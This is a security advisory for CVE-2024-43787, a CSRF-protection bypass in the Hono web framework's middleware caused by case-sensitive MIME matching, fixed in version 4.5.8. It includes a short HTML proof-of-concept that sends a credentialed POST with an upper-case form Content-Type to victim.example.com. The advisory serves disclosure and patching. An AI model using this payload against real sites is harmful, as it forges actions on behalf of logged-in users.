GHSA-rpfr-3m35-5vx5

Опубликовано: 22 авг. 2024

Источник: github

Github: Прошло ревью

CVSS4: 2.3

CVSS3: 5

Описание

Hono CSRF middleware can be bypassed using crafted Content-Type header

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

PoC

<html> <head> <title>CSRF Test</title> <script defer> document.addEventListener("DOMContentLoaded", () => { document.getElementById("btn").addEventListener("click", async () => { const res = await fetch("http://victim.example.com/test", { method: "POST", credentials: "include", headers: { "Content-Type": "Application/x-www-form-urlencoded", }, }); }); }); </script> </head> <body> <h1>CSRF Test</h1> <button id="btn">Click me!</button> </body> </html>

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

Ссылки

Пакеты

Наименование

hono

npm

Затронутые версииВерсия исправления

< 4.5.8

4.5.8

EPSS

Процентиль: 24%

0.00082

Низкий

2.3 Low

CVSS4

5 Medium

CVSS3

CVE ID

CVE-2024-43787

Дефекты

CWE-352

Связанные уязвимости

CVE-2024-43787

CVSS3: 5

nvd

больше 1 года назад

Hono is a Web application framework that provides support for any JavaScript runtime. Hono CSRF middleware can be bypassed using crafted Content-Type header. MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case. As a result, attacker can bypass csrf middleware using upper-case form-like MIME type. This vulnerability is fixed in 4.5.8.

EPSS

Процентиль: 24%

0.00082

Низкий

2.3 Low

CVSS4

5 Medium

CVSS3

CVE ID

CVE-2024-43787

Дефекты

CWE-352